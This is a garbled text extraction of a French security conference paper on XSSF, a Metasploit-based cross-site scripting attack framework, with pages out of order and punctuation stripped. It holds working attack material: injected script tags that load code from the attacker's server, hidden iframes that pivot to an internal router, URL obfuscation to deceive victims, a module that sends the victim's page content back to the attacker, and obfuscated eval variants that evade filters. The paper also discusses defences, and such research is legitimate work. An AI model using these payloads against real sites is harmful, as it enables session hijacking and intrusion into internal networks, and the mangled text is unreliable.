ndash Envoi (en masse) drsquoune URL contenant le code malicieux ( httpxssf_

serverloop ) vers la page du reseau interne ndash Facilement detectable par les victimes potentiellesndash Forte probabilite que la victime ne reste pas connectee bien longtemps

ndash Mise en place drsquoun site malicieux par lrsquoattaquant ndash Facilement detectable par les victimes potentiellesndash Temps de connexion dependant entierement de lrsquoattrait du site malicieux

Quelle que soit la methode retenue on constate qursquoil y a beaucoup de chancesde perdre le lien avec les victimes assez rapidement La duree de vie drsquoune XSSetant intimement liee a la duree drsquoaffichage de la page la contenant il va donc falloirtrouver une solution afin drsquoaugmenter les chances que la victime reste connecteeplus longtemps permettant ainsi a lrsquoattaquant de realiser plus drsquoactions dans la duree

Crsquoest donc la tout lrsquointeret drsquoun rebond nous allons utiliser un site (vulnerable)de grande consultation afin de rendre lrsquoattaque moins suspecte et de garder un tempsde connexion plus long avec les victimes Generalement un rebond consiste a attaquerune machine par lrsquointermediaire drsquoune autre machine afin de masquer les tracespermettant de remonter a lrsquoattaquant par exemple Pour les XSS un rebond consistea se servir drsquoune XSS sur un domaine afin de rebondir et drsquoacceder a drsquoautres domainesvulnerables Bien evidemment a cause de la SOP il sera impossible de rebondir surdrsquoautres domaines non vulnerables aux failles de type XSS Il est donc forcement plusinteressant drsquoexploiter une XSS sur une page ayant une courte duree de vie (page dereseau interne etc) a partir drsquoune page ayant une duree de vie plus longue (reseausocial page multimedia etc)

Par le passe on trouve plusieurs exemples de ce type dont un demontre a laBlack Hat 2010 12 Le chercheur dans son communique intitule How I met yourgirlfriend a montre comment localiser une personne grace a une XSS sans se servirde son IP Il se sert en fait drsquoune faille XSS sur un site pour rebondir sur une failleXSS dans lrsquointerface drsquoadministration des routeurs FiOS (Verizon) dans laquelle ilse connecte avec les identifiants par defaut (souvent inchanges) afin de recupererlrsquoadresse MAC du routeur Puis il utilise les nouveaux services Google pour retrouverles coordonnees GPS des victimes Bien evidemment il avait aussi un acces total atoute la configuration du routeur

12 Conference organisee sur le theme de la securite informatique

L Courgnaud 329

Pour en revenir a notre probleme la prochaine etape est donc de debusquer unsite vulnerable aux failles de type XSS ou les personnes visees seront susceptiblesde rester assez longtemps pour que lrsquoattaquant puisse realiser le maximum drsquoactionsTache plutot simple au vu de la frequence de rencontre des XSS et au vu de lafrequentation grandissante des sites a contenu multimedia illegaux suite a la miseen place de HADOPI 13 Utilisons donc la page httpwwwsite-de-streaming

comstreamingphpp=2943 par exemple dont le parametre vulnerable p vanous permettre de rester lies avec la victime plus longtemps

Dans un premier temps on peut donc injecter directement un script liant lavictime a XSSF p=2943gt20ltscript20src=httpxssf_serverloopgt

ltscriptgt Probleme le contenu multimedia ne sera pas charge en raison delrsquoutilisation drsquoun mauvais ID et lrsquoutilisateur sera averti du mauvais fonctionnementde la page

Nous allons donc inserer directement un code un peu plus complexe en realisantle rebond vers le serveur interne vulnerable

http wwwsite -de -streamingcom streamingphpp=2943 gt ltscript gt

documentbodyinnerHTML = rsquoltiframe width=0 height =0 src=http 19216811

lang=en22lt script src =22 http xssf_server 8888 loop22gtltscript gtgt

ltiframe gtltiframe src=http wwwsite -de -streamingcomstreamingphpp=2943

style= margin 0px padding 0px height 175 border none display

block width 100 border none overflow -y hidden overflow -x hidden

frameborder =0 scrolling =autogt ltiframe gtrsquo

ltscript gt

Le code precedent va permettre de charger deux IFRAMES dans la page ndash La premiere permet de realiser le rebond vers lrsquoapplication interne et de lier

la victime au serveur XSSF On notera qursquoil est aussi possible drsquoutiliser unmodule XSSF pour realiser le rebond Ici pour plus de simplicite le rebond sefait directement lors de lrsquoattaque La victime liee a XSSF est donc directementreconnue comme etant sur le domaine vulnerable http1921681180

ndash La seconde permet de re-afficher la page a lrsquoutilisateur avec un ID de contenumultimedia valide le laissant ainsi visionner la video De plus la page etantmaintenant chargee dans une IFRAME et le rebond dans une autre lrsquoutilisateurpeut continuer a naviguer (par les liens de la page) sans que la connexion avecXSSF ne soit rompue Bien entendu les IFRAMES sont configurees afin que lestyle de la page soit inchange

13 httpfrwikipediaorgwikiLoi Creation et Internet

330 XSSF demontrer le danger des XSS

Bien que fonctionnelle si cette URL est envoyee en masse ou par envois ciblesles chances sont assez grandes pour que lrsquoutilisateur se doute qursquoun code est inseredans lrsquoURL De plus comme la solution contient plusieurs niveaux de guillemets (rsquordquo 22) nous utiliserons donc un encodage numerique (pour les caracteres entre lesbalises ltscriptgt ) pour ne pas creer drsquoerreurs drsquointerpretation par le navigateur

httpwwwsite-de-streamingcomstreamingphpname=death_tunnelamp

movie_id_url=2943ampp1=trueampp2=falseampp3=falseampp4=falseampp5=trueamp

p6=falseampp7=falseamppage=movie_streamingamptime=1303948281772ampp=2943gt

ltscriptgteval(StringfromCharCode(10011199117[]623959))

ltscriptgt

Des parametres ont ete ajoutes afin de deplacer la partie effectivement malicieusedu code pour qursquoelle nrsquoapparaisse pas dans la barre drsquoadresses du navigateur On peutpour finir raccourcir le lien afin de lrsquoenvoyer plus simplement httpgooglZ1jI9

Maintenant que nous avons realise le rebond XSS afin de garder la victime leplus longtemps possible et que celle-ci est liee par le domaine vulnerable http

1921681180 nous allons pouvoir passer a la tunnelisation par XSS Dansles reseaux informatiques un tunnel est en fait une encapsulation de donnees drsquounprotocole reseau dans un autre Pour faire la comparaison avec les XSS on ne parlerapas de protocoles mais plutot drsquoencapsulation de requetes HTTP dans du JavaScriptLe but de la manipulation etant donc de naviguer a partir du navigateur de lrsquoattaquantsur une application du reseau interne normalement inaccessible depuis lrsquoexterieur

Le principe de notre tunnel est simple puisque la SOP autorise la victime aeffectuer des requetes sur le domaine vulnerable actuel ( http1921681180 )nous allons nous en servir comme proxy afin de naviguer sur son domaine a sa place

Lrsquoattaquant va donc pouvoir configurer son navigateur pour passer par XSSFcomme proxy et realiser une requete sur le domaine http1921681180 (1)La requete HTTP est ensuite envoyee au serveur drsquoattaque (2) qui srsquooccupe de latransformer en requete comprehensible par la victime (3) une simple requete enAJAX suffit Toutes les requetes envoyees par le navigateur sont gardees en memoiredans XSSF en attendant que la victime vienne demander ses commandes Une foisle code (requete AJAX ou liste de requetes) transmis par XSSF (4) la victime vapouvoir lrsquoexecuter (5) et recevoir une reponse du serveur interne vulnerable (6) Cettereponse sera renvoyee au serveur XSSF en tant que reponse a une attaque (7) et leserveur drsquoattaque pourra enfin retourner la reponse au navigateur (8) Lrsquoattaquantpeut ainsi visualiser le domaine comme srsquoil etait la victime puisque crsquoest elle qui varealiser toutes ces requetes

L Courgnaud 331

Figure 12 Principe du tunnel XSS

Au niveau du serveur drsquoattaque XSSF lrsquoordre de depart des requetes a executernrsquoest pas forcement le meme que lrsquoordre drsquoarrivee des reponses (la reponse a unerequete A envoyee avant une requete B peut etre recue apres celle de B) Il est doncimportant au niveau du serveur drsquoidentifier chacune des requetes envoyees par lenavigateur afin de ne pas inverser les ressources demandees

Bien evidemment le proxy nrsquoest pas aussi rapide qursquoun proxy normal car le serveurdrsquoattaque doit attendre que la victime demande des commandes avant de pouvoireffectuer une requete Un moyen efficace est de regler lrsquointervalle de demandes decommandes depuis la victime avec une petite valeur (1 ou 2 secondes)

Pour le moment le proxy gere plutot bien tout types de ressources en GET eten POST sur des domaines en HTTP Quelques problemes subsistent encore pourlrsquoutilisation sur des domaines en HTTPS avec des navigateurs ne supportant pas leHTML5 (problemes enonces dans la partie 23) Lrsquoutilisation du tunnel dans cetteminorite de cas risque de srsquoaverer impossible

On remarquera pour finir que sous Internet Explorer 6 (encore tres utilise 14) lapolitique de la SOP nrsquoinclut pas de regles pour les documents ouverts localement il est donc possible de realiser une attaque demandant drsquoouvrir un fichier malicieux(HTML + JavaScript) en local et ainsi de ne pas avoir a se soucier de la SOP Graceau tunnel on peut donc naviguer sur nrsquoimporte quel site et profiter des sessions dejaouvertes de la victime sur differentes applications

14 httpie6countdowncom

332 XSSF demontrer le danger des XSS

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT NAVIGATEUR

Transformation de la requecircte en JavaScript (XMLHttpRequest)

Transformation de la requecircte 1 en JavaScript

Transformation de la requecircte 2 en JavaScript

Intranet httpintranetindexphp

Demande de code agrave exeacutecuter

Etc

Proxy XXXXY

GET httpintranetindexphp

GET httpintranetindexphp

Mise en attente du code JavaScript agrave exeacutecuter

Demande de code agrave exeacutecuter

200 Envoi du code agrave exeacutecuter

Exeacutecution du code coteacute client

Envoi des reacutesultats

200 OK

Reacuteponse au GET (httpintranetindexphp)

GET httpintranetpage1php

Mise en attente du code agrave exeacutecuter

GET httpintranetimagejpg

Mise en attente du code agrave exeacutecuter (concateacutenation au code deacuteja existant)

XMLHttpRequest

SOP OK Reponse OK

Figure 13 Fonctionnement de XSSF Tunnel

5 Protections limites et contournements

Les vulnerabilites de type XSS sont connues depuis de nombreuses annees etbien que beaucoup de techniques existent pour srsquoen proteger elles sont souvent peuappliquees voire jamais sur certaines applications Ce manque de protections estsouvent du a lrsquoidee generale infondee de beaucoup de personnes pensant qursquoune failleXSS sert juste a afficher une boite de dialogue ce qui en fait est plus une preuve deconcept (PoC) qursquoune attaque en elle-meme

Mais face aux possibilites evoquees precedemment quelles sont les protectionsreelles existantes afin de se proteger efficacement

Il existe tout drsquoabord des solutions cote client souvent utilisees mais parfois in-efficaces

Filtres XSS (IE8 par exemple) Plutot efficace en temps normal mais ne fonc-tionne que pour les XSS volatiles (les plus rencontrees) Pour les XSS persistantes

L Courgnaud 333

la detection ne sera pas faite car les tests sont bases sur la requete faite au serveuret la reponse immediatement recue (on cherche si les parametres inseres sontpresents sans avoir ete filtres dans la reponse) On notera quand meme que denombreux patchs sont deja parus pour combler des breches dans ce filtre et qursquoily a donc tres probablement drsquoautres moyens de le bypasser (sans compter quecertains sites non vulnerables le sont devenus avec lrsquoutilisation de ce filtre [9] )

Bloqueurs (NoScript sur Firefox par exemple) Permet de nrsquoautoriser que lesscripts provenant de sites dit de confiance definis par lrsquoutilisateur ce qui en faitune solution assez efficace Cependant comme la majorite des sites aujourdrsquohuiont beaucoup de mal a fonctionner sans JavaScript crsquoest une solution qui devienttrop restrictive De plus du JavaScript malicieux sur un site de confiance ne serapas detecte et sera execute

Les IPS (Intrusion Prevention System) Permettent de reperer le passage dedonnees suspectes ou anormales sur le reseau et de les bloquer avant leur arriveea destination Crsquoest une solution efficace pour reduire lrsquoimpact des attaques maisqui encore une fois a ses limites tous les codes ne pouvant pas etre detectes Pireencore cette solution ne sera utile que sur des flux en clair aucun interet si lavulnerabilite se trouve sur un site en HTTPS

Ces solutions bien qursquoutiles dans la plupart des cas ne permettent pas de bloquertous les codes malicieux Crsquoest en partie du au fait qursquoun meme code JavaScript peutsrsquoecrire de nombreuses manieres differentes lrsquoempechant ainsi drsquoetre detecte par lesfiltres et autres solutions (cote client ou cote serveur)

lthtmlgtltbodygt

ltscript gt

alert (0)

alert(x30)

eval(rsquoalert (0)rsquo)

eval(StringfromCharCode (97 108 101 114 116 40 48 41 59))

var a=[x66x72x6Fx6Dx43x68x61x72x43x6Fx64x65] eval(String

[a[0]](30+67 100 -8+16 101 114 116 40 48 41 60 -1))

eval(function(packed)e=function(c)return cif(rsquorsquo replace (^

String))while(c--)d[c]=k[c]||ck=[ function(e)return d[e]]e=

function ()return rsquow+rsquoc=1 while(c--)if(k[c])p=preplace(new

RegExp (rsquobrsquo+e(c)+rsquobrsquorsquogrsquo)k[c]) return p( rsquo1(0)rsquo22rsquo|alert rsquo

split(rsquo|rsquo) 0))

334 XSSF demontrer le danger des XSS

function name(str) eval(eval(str)) name ( rsquo([]+[]) [++[]]+([]+[])

[+[]++[]]+(+[]+[]) [+[]++[]++[]]+([]+[]) [++[]]+([]+[])

[+[]]+(+[])rsquo)

document[x77x72x69x74x65](x3Cx73x63x72x69x70x74x3Ex61

x6Cx65x72x74x28x30x29x3Bx3Cx2Fx73x63x72x69x70x74x3E

)

eval(unescape(616C657274283029))

ltscript gt

ltbodygtlthtmlgt

Ces multitudes de facons drsquoecrire un meme script (ici seulement alert (0) )rendent drsquoautant plus difficile le travail pour les filtres XSS qui doivent etre concuspour bloquer toutes les possibilites drsquoinjection de code autre que celui prevu Onpeut aussi imaginer une fonction decodant des caracteres en Base64 (par exemple)qui en elle meme ne sera pas malicieuse mais qui peut recevoir une chaine mali-cieuse en entree qui ne sera pas forcement detectee par les filtres Il nrsquoest pas rarede voir 98 de code non malicieux servant a decoder les autres 2 qui eux le seront

Pour le moment il nrsquoexiste pas de solution miracle pour se proteger individuel-lement des XSS cote client Cote serveur on peut par exemple utiliser des WAF(Web Application Firewall) qui serviront a bloquer certaines XSS (meme srsquoils nesrsquoappliquent pas seulement aux XSS) Ceux-ci jouent le role de filtres appliquant uneliste de regles a respecter pour les conversations en HTTP

Heureusement il existe un moyen vraiment efficace afin de reduire la frequence derencontre de ces vulnerabilites la sensibilisation des developpeurs et des chefs deprojets afin de rendre efficaces les controles XSS cote serveur Par experience bientrop peu drsquoapplications mettent en place de vraies protections par manque de tempsde moyens et surtout de connaissances On notera que les controles sont souventrealises cote client par lrsquoapplication et peuvent se contourner assez facilement avecun proxy par exemple Dans chaque langage de programmation il existe deja denombreuses fonctions permettant de filtrer les entrees utilisateur Des protectionsplus personnelles sont souvent implementees mais srsquoaverent dans presque tousles cas inefficaces et sont facilement contournees

L Courgnaud 335

6 Conclusion

Nous avons montre dans ce papier au travers du nouvel outil XSSF que lesvulnerabilites XSS restent dans la majorite des cas plus simples a exploiter qursquoellesnrsquoy paraissent et surtout qursquoelles peuvent mener a des attaques de grande ampleur

Alors que beaucoup de personnes pensent leurs elements internes (applicationspage de configurations drsquoelements reseaux) hors de danger car restreintes drsquoacces letunnel XSS permettra de demontrer le contraire dans le cas ou un acces Internet estpossible depuis ce meme reseau

Pour le moment lrsquooutil fonctionne en environnement reel sur la majorite desnavigateurs utilises (Firefox IE Opera Safari Chrome Android Browser iOS Safari)quelle que soit la version avec une installation par defaut

Esperons donc que le projet XSSF et les autres puissent aider a faire prendreconscience des reels danger de ce type de failles encore rencontrees sur bien tropdrsquoapplications

7 Remerciements

Je tiens a remercier Imad Abounasr pour lrsquoidee de realisation du projet XSSFainsi que pour les nombreuses relectures et corrections qursquoil a apporte a cet article Jeremercie egalement Pierre Gardenat pour ses travaux concernant les XSS (notammentSSTIC 2009 et MISC 49) lesquels mrsquoont servi drsquoinspiration pour le debut du projet

References

1 WhiteHat Security WhiteHat Security 11th Website Security StatisticsReport 1er trimestre 2011 httpwwwslidesharenetjeremiahgrossman

11th-website-security-statistics-full-report-q1-2011

2 Pierre Gardenat iexclscriptiquestalert(rsquoXSSrsquo)iexclscriptiquest XSS de la brise a lrsquoouragan Actes SSTIC Juin 2009 httpactesssticorgSSTIC09XSS-_de_la_brise_a_louraganSSTIC09-article-P-Gardenat-XSS-_

de_la_brise_a_louraganpdf

3 Dafydd Stuttard Marcus Pinto The Web Application Hackerrsquos Handbook Discovering and ExploitingSecurity Flaws 2008

4 OWASP (Open WEB Application Security Project) Cross-site Scripting (XSS) 2010 httpwwwowasporgindexphpXSS

5 OWASP (Open WEB Application Security Project) Testing for Cross site scripting 2010 http

wwwowasporgindexphpTesting_for_Cross_site_scripting

6 Gunter Ollmann HTML Code Injection and Cross-site scripting 2007 httpwwwtechnicalinfonetpapersCSShtml

336 XSSF demontrer le danger des XSS

7 Wikipedia Cross-site scripting 2010 httpenwikipediaorgwikiCross-site_scripting

8 Jeremiah Grossman XSS is the New Buffer Overflow JavaScript Malware is the New Shell Code 2007httpjeremiahgrossmanblogspotcom200704xss-attacks-bookhtml

9 IE 8 XSS filter exposes sites to XSS attacks httpgoogl42CsK

  • XSSF deacutemontrer le danger des XSS
  • L Courgnaud
Page 15: XSSF : démontrer le danger des XSS - SSTIC · ow, JavaScript Malware is the new shell code ˛. Ce potentiel qu’ont les failles XSS est aussi du^ a la grande evolution des capacit

316 XSSF demontrer le danger des XSS

La solution actuellement mise en place permet un fonctionnement des echangesdans la majorite des cas Bien entendu cette solution ne concerne que les donneesenvoyees depuis les victimes vers le serveur drsquoattaque Ce choix ne remet pas en causela possibilite drsquoutilisation des attaques ne necessitant pas de reponse (quelque soit lenavigateur) En effet comme nous lrsquoavons vu precedemment lrsquoenvoi des attaques sefait avec la solution A compatible avec tous les navigateurs

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT

Lancement de Metasploit

Lancement de XSSF

Deacutemarrage du serveur maicirctre XSSF (IP XXXXY)

Injection du script malicieux (ltscript src=httpXXXXYloopinterval=3gt

Connexion agrave lapplication

Appel du fichier loop

Enregistrement dune nouvelle victime

Envoi du fichier loop (JavaScript)

Mise en attente 3 secondes

Demande de code agrave exeacutecuter

Mise en attente 3 secondes

Mise en attente dun eacutevegravenement (code) pour la victime

Recherche de code pour la victime

Demande de code agrave exeacutecuter

Recherche de code pour la victime

404 No code

200 Envoi du code agrave exeacutecuter

Exeacutecution du code partie client

Envoi des reacutesultats (facultatif)

Sauvegarde des reacutesultats

Demande des reacutesultats dattaques (logs)

Geacuteneacuteration des logs

Affichage des logs et statistiques en temps reacuteel

Mise en attente 3 secondes

200 OK

Figure 5 Fonctionnement de XSSF

L Courgnaud 317

En plus de la boucle permettant de recuperer des attaques le code envoye lors dela demande de la ressource rsquolooprsquo comprend donc une bibliotheque de fonctions quelrsquoattaquant pourra utiliser dans ses modules drsquoattaques notamment une fonction derecuperation de donnees Bien entendu grace a la gestion des attaques par le noyauXSSF un attaquant pourra utiliser les fonctions fournies par le framework drsquoou il lesouhaite meme a lrsquointerieur drsquoIFRAMES qursquoil aura cree (le framework se charge derajouter a la volee la bibliotheque de fonctions lors de lrsquoarrivee des donnees depuis unserveur esclave)

Ainsi nous avons donc bien reussi a realiser les GET et POST necessaires et cemalgre la SOP Le canal de communication avec la victime est donc bi-directionnel la victime peut demander des commandes et repondre au serveur dans la majoritedes cas La recuperation de donnees reste cependant limitee (pour le moment) lorsquela victime utilise un navigateur ancien sur un domaine en HTTPS

34 Attaques XSSF

Maintenant que nous avons detaille le fonctionnement general de XSSF nousallons pouvoir expliquer les possibilites offertes par chaque module drsquoattaque Ceux-ciservent a realiser une attaque directement liee a une faille XSS (souvent en JavaScript)Ils doivent pouvoir etre implementes par nrsquoimporte qui facilement et sans avoir aconnaitre le fonctionnement du noyau de XSSF

Un module XSSF est compose de deux grandes parties

Lrsquoinitialisation permet de definir les informations et parametres du module a insererdans Metasploit lors de son utilisation

Le serveur web defini les actions a realiser par le serveur esclave lorsqursquoil recoitune requete (depuis le serveur maıtre)

class Metasploit3 lt Msf Auxiliary

include MsfXssf XssfServer

Module initialization

def initialize(info = )

super(update_info(info

rsquoNamersquo =gt rsquoWebPage Saver rsquo

rsquoDescription rsquo =gt rsquoSaves current page viewed by the victim rsquo

))

end

318 XSSF demontrer le danger des XSS

Part sent to the victim insert your code here

def on_request_uri(cli req)

send_response(cli Q XSSF_POST(documentdocumentElementinnerHTML

rsquoselfnamersquo) )

end

end

Sur cet exemple nous retrouvons bien les deux parties Lrsquoinclusion au depart de XssfServer permet de charger le module (au sens Ruby) de gestion des serveursesclaves (ce module implemente un module de serveurs drsquoattaques deja fourni parMSF pour les exploits)

Lrsquoinitialisation du module permet de redefinir des informations propres (nom etc)mais aussi drsquoen rajouter Toutes ces informations et options sont automatiquementstockees dans un objet datastore defini par Metasploit Dans XssfServer desinformations par defaut pour tous les modules lrsquoimplementant sont deja definies

def initialize(info = )

super(update_info(info

rsquoNamersquo =gt rsquoXSSF MODULE rsquo

rsquoDescription rsquo =gt rsquoXSSF MODULE rsquo

rsquoAuthor rsquo =gt rsquoConix Security rsquo

rsquoLicense rsquo =gt MSF_LICENSE

))

register_options(

[

OptStringnew(rsquoVictimIDs rsquo [false rsquoIDs of the victims to send code

Examples 1 3-5 ALL NONErsquo rsquoALLrsquo])

] MsfXssf XssfServer

)

deregister_options(rsquoSSLrsquo rsquoSSLVersion rsquo)

end

On trouve une option rajoutee qui permet lors de lrsquoutilisation drsquoun moduleimplementant XssfServer de specifier la liste des victimes a attaquer (toutes pardefaut)

Ensuite on trouve dans chaque module XSSF la methode on request uri definie par XssfServer comme celle etant appelee a chaque nouvelle requete versun serveur esclave Elle prend en parametres le client (au sens socket) et la requeteeffectuee Comme nous lrsquoavons vu precedemment le client sera en fait le serveur

L Courgnaud 319

maıtre (jouant un role de proxy entre les victimes et les serveurs esclaves)

Cette methode permet de renvoyer une reponse au client par lrsquointermediaire de lafonction send response qui prend deux parametres obligatoires (client et coderenvoye) et un parametre facultatif (entetes HTTP) Le code construit est une chaınequi peut contenir directement du JavaScript ou du code HTML Crsquoest ensuite leserveur maıtre qui fera la difference entre les deux Dans tous les cas la reponseenvoyee a la victime sera un script si le code attendu est du HTML le serveur maıtrese chargera de creer une IFRAME en JavaScript afin drsquoy inserer le code On constateaussi lrsquoutilisation de la fonction POST qui permettra de renvoyer une reponse vers leserveur drsquoattaque Ici aussi crsquoest le serveur maıtre qui va permettre lrsquoacces a cettefonction depuis nrsquoimporte ou en toute transparence pour la victime et la personnecreant le module

Bien entendu chaque module peut faire appel a des ressources supplementairesLorsque la victime demandera a nouveau la ressource au serveur maıtre si la ressourceest un fichier connu (les fichiers XSSF ndash images pdf etc ndash sont stockes dans unrepertoire defini) il la renverra directement sinon il la demandera automatiquementau serveur esclave associe a la victime (si elle est en cours drsquoattaque)

Au fil du temps chaque victime peut recevoir autant drsquoattaques que lrsquoattaquant ledesire mais seulement une seule a la fois En revanche plusieurs attaques differentessur des victimes distinctes peuvent avoir lieu en meme temps (drsquoou lrsquointeret de lesidentifier) Chaque victime dispose drsquoune file drsquoattente en base de donnees pourrecuperer ses attaques une par une

Lrsquoutilisation drsquoun module XSSF se fait exactement de la meme maniere que pourles modules MSF (avec la commande use ) Il en est de meme pour le lancementdrsquoun module (commandes run exploit ou exploit -j pour lancer lemodule en tache de fond)

On constate donc bien ici le lancement de lrsquoattaque save page sur la victime5 Lorsqursquoelle demandera si une attaque lui est destinee le serveur maıtre contacterale serveur esclave lance afin de recuperer le code a envoyer

Cote victime apres la reception du javascript loop initial une page drsquoerreur404 (Not Found) est renvoyee signe que le serveur maıtre nrsquoa aucune attaque pour lemoment Lorsque lrsquoon execute le module decrit precedemment le code est envoye a la

320 XSSF demontrer le danger des XSS

Figure 6 Execution drsquoune attaque XSSF sur les victimes actives

Figure 7 Execution drsquoune attaque cote victime

victime qui peut lrsquoexecuter

Bien entendu comme pour chaque module Metasploit les informations des mo-dules XSSF sont disponibles dans la console On retrouve les parametres propres aumodule (aucun dans le cas present) ceux herites du module XssfServer (Victi-mIDs) et ceux herites de MSF (le reste)

Afin drsquoillustrer le plus simplement possible le fonctionnement drsquoun module drsquoat-taque XSSF lrsquoexemple montre ici est des plus triviaux Beaucoup drsquoautres modulesdrsquoattaques sont presents le but etant drsquoamener la communaute a participer afin decreer des scenarios drsquoattaques interessants pour faire prendre conscience des possibilitesoffertes par les XSS et surtout de leur simplicite drsquoexploitation

35 Exploits MSF depuis XSSF

Afin de rendre ce framework XSS le plus complet possible et de lrsquointegrer totale-ment a MSF il est important drsquoavoir la possibilite de lancer des exploits MSF depuis

L Courgnaud 321

une vulnerabilite XSS Bien evidemment les exploits possibles sont ceux destines auxdifferents navigateurs

Le fonctionnement est relativement simple puisqursquoil suffit de lancer un exploit enprecisant qursquoil doit se lancer en tache de fond

Tous les modules lances en tache de fond sont consideres comme etant des jobs par Metasploit

Figure 8 Modules lances en tache de fond sur Metasploit

Le lancement de lrsquoattaque avec la commande xssf exploit [VictimIDs]

[JobID] entraıne la mise en attente drsquoune nouvelle attaque pour la ou les vic-time(s) choisie(s)

Figure 9 Lancement drsquoun exploit MSF sur une victime choisie avec XSSF

Ici le code sera donc bien renvoye a la victime lorsque celle-ci en fera la demandeA la suite de lrsquoexecution du code une session sera disponible et la prise de controleest effectuee avec une simple XSS ciblee

Une fois de plus crsquoest le serveur maıtre qui va gerer la facon dont sont charges lesmodules cote victime (gestion de jeux drsquoIFRAMES de scripts etc) Tous les modulesMetasploit peuvent donc etre utilises avec XSSF Ainsi une simple injection de scriptgenerique ( loop ) pourra entraıner lrsquoexecution de nrsquoimporte quelle attaque XSSFou exploit MSF sur nrsquoimporte quelle victime

322 XSSF demontrer le danger des XSS

36 Automatisation des attaques

Il est possible grace au framework XSS drsquoautomatiser les attaques a lancer Cecipermet de placer automatiquement une liste drsquoattaques dans la file drsquoattente de toutesles nouvelles victimes Lrsquoattaquant nrsquoa ainsi pas a lancer les attaques a chaque foispour une victime ou un groupe de nouvelles victimes

Les attaques automatiques peuvent etre de nrsquoimporte quel type (XSSF ou exploitMSF) et les modules correspondants doivent etre lances en tache de fond avant deles rajouter en attaque automatique

37 Fiabilisation des attaques

Comme pour les attaques applicatives il est important de fiabiliser une attaqueXSS afin de garder une connexion avec la victime apres son depart de la pagevulnerable Ce maintien de la connexion nrsquoest pas assure par le framework mais parses modules Pour le moment il existe un seul module de fiabilisation (ghostifyrb)mais de nouveaux peuvent venir se rajouter Celui actuellement present permetdrsquoanalyser la page afin de remplacer les hyperliens de type ltagt et de rajouterune fonction lors drsquoun clic Ainsi lorsque lrsquoutilisateur quitte la page en suivant unlien une fenetre (de petite taille) est ouverte et placee en arriere plan permettant degarder lrsquoutilisateur sur la page malicieuse

On peut imaginer drsquoautres modules de ce type avec par exemple un modulepermettant de recharger la page actuelle dans une IFRAME afin de toujours garderlrsquoutilisateur sur le meme domaine

38 Resultats et statistiques drsquoattaques

Figure 10 Page HTML de resultats drsquoattaques

Enfin pour venir completer lrsquoutilisation du framework lrsquoimportation des resultatset statistiques drsquoattaques est rendue possible grace a la commande xssf import attacks

L Courgnaud 323

Figure 11 Statistiques drsquoattaques en temps reel

[VictimID] Le framework se charge de generer dynamiquement une page de logs(au format HTML) comprenant les attaques envoyees et les reponses recues ainsiqursquoune page de statistiques actualisees en temps reel

39 Recapitulatif par rapport a lrsquoexistant

Lors du debut du projet XSSF il y a a peu pres un an certains outils existaientdeja Cependant la possibilite drsquoutiliser Metasploit afin de realiser des exploits cibleset lrsquointegration drsquoun tunnel ont etes les elements declencheurs a la realisation drsquounnouvel outil En effet ces deux elements permettent de montrer des possibilites moinsconnues et plus redoutees dans les entreprises (un vol de cookie dans un reseauinterne depuis lrsquoexterieur etant inutile)

XSSShellXSSTunnel

BeEF XeeK XSSF

Codes sup-portes

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScriptHTML

Base dedonnees

MS Access Fichiersimple

MySQL SQLite3MySQLPostgreSQLetc (cellessupporteespar RubyOn Rails)

324 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Serveur IIS 5 ousuperieur

Quelconquesupportantle PHP

Quelconquesupportantle PHP

Embarquefourni parRuby

Taille to-tale ducode (sansles mo-dules)

env 310Ko env 400Ko env 250Ko env 65Ko

Taille ducode ini-tialementenvoye auxvictimes

326Ko 43Ko 169Ko 51Ko

Chargementdynamiquedes at-taques

Non (toutesenvoyeesdirectementau debut etexecutees surdemande)

Oui Oui Oui

Constructiondrsquoun liencontenantune seuleattaqueXSS

Non Non Oui(construc-tion drsquouneURLspecifiquea une seuleattaque oua une listedrsquoattaques)

Oui (dela mememaniere queles exploitsMSF)

Prise encharge desexploitsMSF

Non Oui (redirec-tion de la vic-time vers leserveur drsquoat-taque MSF)

Non Oui (di-rectementdans XSSFen tantque serveurmaıtreesclave)

L Courgnaud 325

XSSShellXSSTunnel

BeEF XeeK XSSF

Langages Portabilite

ASPNET -Windows

PHP - Por-table

PythonPHP -Portable

Ruby - Por-table

Client gra-phique

Oui (webet appli-catif pourXSSTunnel)

Oui (web) Oui (web) Oui (web etJava)

Clientconsole

Non Non Oui (inspireede MSF)

Oui (celle deMSF)

Multi-attaquants

Oui Oui Oui Oui(XMLRPC +Armitage)

Attaquesautoma-tiques

Non Oui Oui Oui

TunnelXSS

Oui (Instal-lation drsquouneapplicationWindows)

Non Non Oui (Bi-naire)

Obfuscationde code Bypass desfiltres XSS

Non Non Non Non

Generationde rapports

Non (logs af-fiches a lavolee )

Non (logs af-fiches a lavolee )

Oui Oui

SeparationClient Serveur

Non Non Oui Non

326 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Ajout pos-sible drsquoat-taques(sansconnais-sance dunoyau)

Difficilement(en dur dansle code)

Oui Oui Oui (mo-dules)

Gestion parmodules

Non pasde notionde modulesfonctionsJavaScriptintegrees aucode

Oui (3 fi-chiers parmodules [jsphp et txt]

Oui (un fi-chier js parmodule)

Oui (un fi-chier rb parmodule)

Gestion demasse desvictimes

Oui Difficilement(utilisationde sqlite3donc drsquounfichier avecdes acceslimites)

Oui Oui

Installation Informationspour la BDet le serveurIIS a entrerdans unfichier deconfigura-tion

Mise enplace desfichiers surun serveurweb

Informationssur la BDet le serveura modifierdans le code

InstallerMSF ety copierles fichiersXSSF

Table 3 Comparaison de XSSF par rapport aux outilsexistants

Note cette comparaison a ete realisee avec la version de BeEF avant son portageen ruby (debute en octobre 2010) Certains elements ne sont plus a jour notamment

L Courgnaud 327

concernant lrsquointegration des attaques Metasploit qui semble etre meilleure Pourlrsquoinstant la nouvelle version est en beta et ne fonctionne pas totalement crsquoest pour-quoi lrsquoancienne version a ete gardee pour cette comparaison Le projet XSSShell XSSTunnel nrsquoest plus maintenu son auteur ayant rejoint le projet BeEF Quant auprojet XeEK il ne semble pour lrsquoinstant plus evoluer

